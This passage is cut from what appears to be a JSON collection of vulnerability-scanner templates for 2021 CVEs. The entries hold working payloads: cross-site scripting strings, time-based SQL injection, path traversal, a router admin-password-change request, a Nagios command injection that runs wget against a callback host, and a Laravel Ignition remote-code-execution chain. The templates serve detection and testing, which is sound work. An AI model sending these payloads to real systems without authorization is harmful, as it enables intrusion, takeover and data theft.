}\"}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[error-invalid-user]","\"success\":true"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25055","info":{"name":"WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-46387","info":{"name":"Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Forms/rpAuth_1?id=
    "],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Entry Error"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20090","info":{"name":"Buffalo WSR-2533DHPL2 - Path Traversal","severity":"critical"},"requests":[{"raw":["GET /images/..%2finfo.html HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/info.html\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["URLToken(cgi_path)","pppoe","wan"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-43062","info":{"name":"Fortinet FortiMail 7.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","FortiMail Click Protection"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-36748","info":{"name":"PrestaHome Blog for PrestaShop <1.7.8 - SQL Injection","severity":"high"},"requests":[{"raw":["GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1\nHost: {{Hostname}}\n","GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 200","status_code_2 == 404","contains(body_1, \"prestashop\")","contains(tolower(header_2), 'index.php?controller=404')","len(body_2) == 0"],"condition":"and"}]}]},{"id":"CVE-2021-39152","info":{"name":"XStream <1.4.18 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n \n \n http://{{interactsh-url}}/internal/\n GBK\n 1111\n b\n 0\n 0\n \n \n \n \n \n http://{{interactsh-url}}/internal/\n \n 1111\n b\n 0\n 0\n \n \n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: Java"]}]}]},{"id":"CVE-2021-41432","info":{"name":"FlatPress 1.2.1 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp\n\n------WebKitFormBoundarykGJmx9vKsePrMkVp\nContent-Disposition: form-data; name=\"user\"\n\n{{username}}\n------WebKitFormBoundarykGJmx9vKsePrMkVp\nContent-Disposition: form-data; name=\"pass\"\n\n{{password}}\n------WebKitFormBoundarykGJmx9vKsePrMkVp\nContent-Disposition: form-data; name=\"submit\"\n\nLogin\n------WebKitFormBoundarykGJmx9vKsePrMkVp--\n","GET /admin.php?p=entry&action=write HTTP/1.1\nHost: {{Hostname}}\n","POST /admin.php?p=entry&action=write HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd×tamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish\n","GET /index.php/2022/10 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body_4, '

    ')","contains(body_4, 'FlatPress')","contains(header_4, 'text/html')","status_code_4 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-z]+)\" />"],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-40859","info":{"name":"Auerswald COMpact 5500R 7.8A and 8.0B Devices Backdoor","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/about_state"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"pbx\"","\"dongleStatus\":0","\"macaddr\""],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24298","info":{"name":"WordPress Simple Giveaways <2.36.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/giveasap/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["= Simple Giveaways"]}]},{"method":"GET","path":["{{BaseURL}}/giveaway/mygiveaways/?share=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24554","info":{"name":"WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 10s\nGET /wp-admin/admin.php?page=wp_paytm_donation&action=delete&id=0%20AND%20(SELECT%205581%20FROM%20(SELECT(SLEEP(6)))Pjwy) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"paytm-settings_page_wp_paytm_donation\")"],"condition":"and"}]}]},{"id":"CVE-2021-20158","info":{"name":"Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change","severity":"critical"},"requests":[{"raw":["POST /apply_sec.cgi HTTP/1.1\nHost: {{Hostname}}\n\nccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password={{password}}\n","POST /apply_sec.cgi HTTP/1.1\nHost: {{Hostname}}\n\nhtml_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass={{base64(password)}}&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["setConnectDevice","setInternet","setWlanSSID","TEW-827DRU"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24849","info":{"name":"WCFM WooCommerce Multivendor Marketplace < 3.4.12 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/wc-multivendor-marketplace/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"WCFM Marketplace - Best Multivendor Marketplace for WooCommerce\")"],"condition":"and","internal":true}]},{"raw":["@timeout: 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n{{post_data}}\n"],"payloads":{"post_data":["action=wcfm_ajax_controller&controller=wcfm-refund-requests&transaction_id=1+union+select+1+and+sleep(5)--","action=wcfm_ajax_controller&controller=wcfm-refund-requests&transaction_id=1&orderby=ID`%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)--%20`"]},"stop-at-first-match":true,"matchers":[{"type":"dsl","dsl":["duration>=5","status_code == 200","contains(header, \"application/json\")","contains(body, \"success\")"],"condition":"and"}]}]},{"id":"CVE-2021-27315","info":{"name":"Doctor Appointment System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 10s\nPOST /contactus.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfirstname={{randstr}}&lastname={{randstr}}&email={{randstr}}%40test.com&comment=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&submit=Send+Us\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 500","contains(body, \"Medical Management System\")"],"condition":"and"}]}]},{"id":"CVE-2021-33904","info":{"name":"Accela Civic Platform <=21.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","words":["\"k3woq\"^confirm(document.domain)^\"a2pbrnzx5a9\"","servProvCode"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-34640","info":{"name":"WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET //wp-admin/options-general.php/\">/script%3E?page=securimage-wp-options%2F HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24276","info":{"name":"WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24320","info":{"name":"WordPress Bello Directory & Listing Theme <1.6.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}","{{BaseURL}}/wp-content/themes/bello/readme.txt"],"stop-at-first-match":true,"matchers":[{"type":"word","internal":true,"words":["wp-content/themes/bello/fonts","bold-themes.com/bello"],"condition":"or"}]},{"method":"GET","path":["{{BaseURL}}/listing/?listing_list_view=standard13%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-35488","info":{"name":"Thruk 2.40-2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":["'>","Thruk Monitoring"],"condition":"and"},{"type":"status","status":[401]}]}]},{"id":"CVE-2021-25003","info":{"name":"WordPress WPCargo Track & Trace <6.9.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/wpcargo/includes/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/wpcargo/includes/barcode.php?text=x1x1111x1xx1xx111xx11111xx1x111x1x1x1xxx11x1111xx1x11xxxx1xx1xxxxx1x1x1xx1x1x11xx1xxxx1x11xx111xxx1xx1xx1x1x1xxx11x1111xxx1xxx1xx1x111xxx1x1xx1xxx1x1x1xx1x1x11xxx11xx1x11xx111xx1xxx1xx11x1x11x11x1111x1x11111x1x1xxxx&sizefactor=.090909090909&size=1&filepath={{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-content/plugins/wpcargo/includes/{{randstr}}.php?1=var_dump HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n2={{md5(num)}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 != 200","status_code_2 == 200","status_code_3 == 200","contains(body_3, md5(num))","contains(body_3, 'PNG')"],"condition":"and"}]}]},{"id":"CVE-2021-3002","info":{"name":"Seo Panel 4.8.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /seo/seopanel/login.php?sec=forgot HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsec=requestpass&email=test%40test.com%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3e11&code=AAAAA&login=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["","seopanel"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25298","info":{"name":"Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection","severity":"high"},"requests":[{"raw":["GET /nagiosxi/login.php HTTP/1.1\nHost: {{Hostname}}\n","POST /nagiosxi/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}\n","GET /nagiosxi/index.php HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 20s\nGET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=4&wizard=digitalocean&no_ssl_verify=1&ip_address=127.0.0.1%3b%20wget%20{{interactsh-url}}%3b HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body_4","words":["Connection Information","Host Check"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"nsp","group":1,"regex":["name=['\"]nsp['\"] value=['\"](.*)['\"]>"],"internal":true,"part":"body"},{"type":"regex","name":"nsp_auth","group":1,"regex":["var nsp_str = ['\"](.*)['\"];"],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-27670","info":{"name":"Appspace 6.2.4 - Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://oast.live"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["

    Interactsh Server

    "]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-29484","info":{"name":"Ghost CMS <=4.32 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ghost/preview"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["XMLHttpRequest.prototype.open = XMLHttpRequest.prototype.send","top.postMessage("],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24666","info":{"name":"WordPress Podlove Podcast Publisher <3.5.6 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20-"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["66a82937a7660b73b00d4f7cefee6c85","\"service_id\""],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-26855","info":{"name":"Microsoft Exchange Server SSRF Vulnerability","severity":"critical"},"requests":[{"raw":["GET /owa/auth/x.js HTTP/1.1\nHost: {{Hostname}}\nCookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3;\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2021-29203","info":{"name":"HPE Edgeline Infrastructure Manager <1.22 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["PATCH /redfish/v1/SessionService/ResetPassword/1/ HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"Password\":\"{{randstr}}\"}\n","POST /redfish/v1/SessionService/Sessions/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"UserName\":\"Administrator\",\"Password\":\"{{randstr}}\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["X-Auth-Token","PasswordReset","Location"],"condition":"and"},{"type":"word","part":"body","words":["Base.1.0.Created"]},{"type":"status","status":[201]}]}]},{"id":"CVE-2021-30175","info":{"name":"ZEROF Web Server 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /HandleEvent HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nAjax=1&IsEvent=1&Obj=O4F&Evt=click&this=O4F&\"_fp_=_S_ID=CteTYLjmYw108029DC1&O33=%020%02%02'&O37=%020%02%02fff\"&_seq_=2&_uo_=O\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["You have an error in your SQL syntax"]},{"type":"word","part":"header","words":["ZEROF"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-40972","info":{"name":"Spotweb <= 1.5.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /install.php?page=4 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsettingsform[mail]=pdteam'+onclick='alert(document.domain)\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onclick='alert(document.domain)","Spotweb"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3129","info":{"name":"Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /_ignition/execute-solution HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\nContent-Type: application/json\n\n{\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\"}}\n","POST /_ignition/execute-solution HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\nContent-Type: application/json\n\n{\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\"}}\n","POST /_ignition/execute-solution HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\nContent-Type: application/json\n\n{\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"AA\"}}\n","POST /_ignition/execute-solution HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\nContent-Type: application/json\n\n{\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a\"}}\n","POST /_ignition/execute-solution HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\nContent-Type: application/json\n\n{\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\"}}\n","POST /_ignition/execute-solution HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\nContent-Type: application/json\n\n{\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"cve20213129\", \"viewFile\": \"phar://../storage/logs/laravel.log/test.txt\"}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid=","gid=","groups=","Illuminate"],"condition":"and"},{"type":"status","status":[500]}],"extractors":[{"type":"regex","regex":["(u|g)id=.*"]}]}]},{"id":"CVE-2021-24495","info":{"name":"Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://","{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","alert(/{{randstr}}/)"],"condition":"or"},{"type":"word","words":["Marmoset Viewer"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24746","info":{"name":"WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/posts","{{BaseURL}}/{{slug}}/?a"><script>alert(document.domain)</script>"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["?a\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"slug","group":1,"regex":["\"slug\":\"([_a-z-A-Z0-9]+)\","],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-24452","info":{"name":"WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=w3tc_extensions&extension='-alert(document.domain)-' HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, 'extensions/\\'-alert(document.domain)-\\'') && contains(body_2, 'w3-total-cache')","contains(header_2, \"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2021-29622","info":{"name":"Prometheus - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/new/newhttp://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2021-30213","info":{"name":"Knowage Suite 7.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22005","info":{"name":"VMware vCenter Server - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /analytics/telemetry/ph/api/hyper/send?_c&_i=test HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\ntest_data\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 200","status_code_2 == 201","contains(body_1, 'VMware vSphere')","content_length_2 == 0"],"condition":"and"}]}]},{"id":"CVE-2021-41878","info":{"name":"i-Panel Administration System 2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">","i-Panel Administration"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-44152","info":{"name":"Reprise License Manager 14.2 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/goforms/menu"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["RLM Administration Commands"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-38146","info":{"name":"Wipro Holmes Orchestrator 20.4.1 - Arbitrary File Download","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/home/download"],"headers":{"Content-Type":"application/json"},"body":"{\n \"SearchString\": \"C:/Windows/Win.ini\",\n \"Msg\": \"\"\n}\n","matchers-condition":"and","matchers":[{"type":"word","words":["[fonts]","[extensions]","[files]"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24979","info":{"name":"Paid Memberships Pro < 2.6.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=pmpro-discountcodes&s=s\"+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, 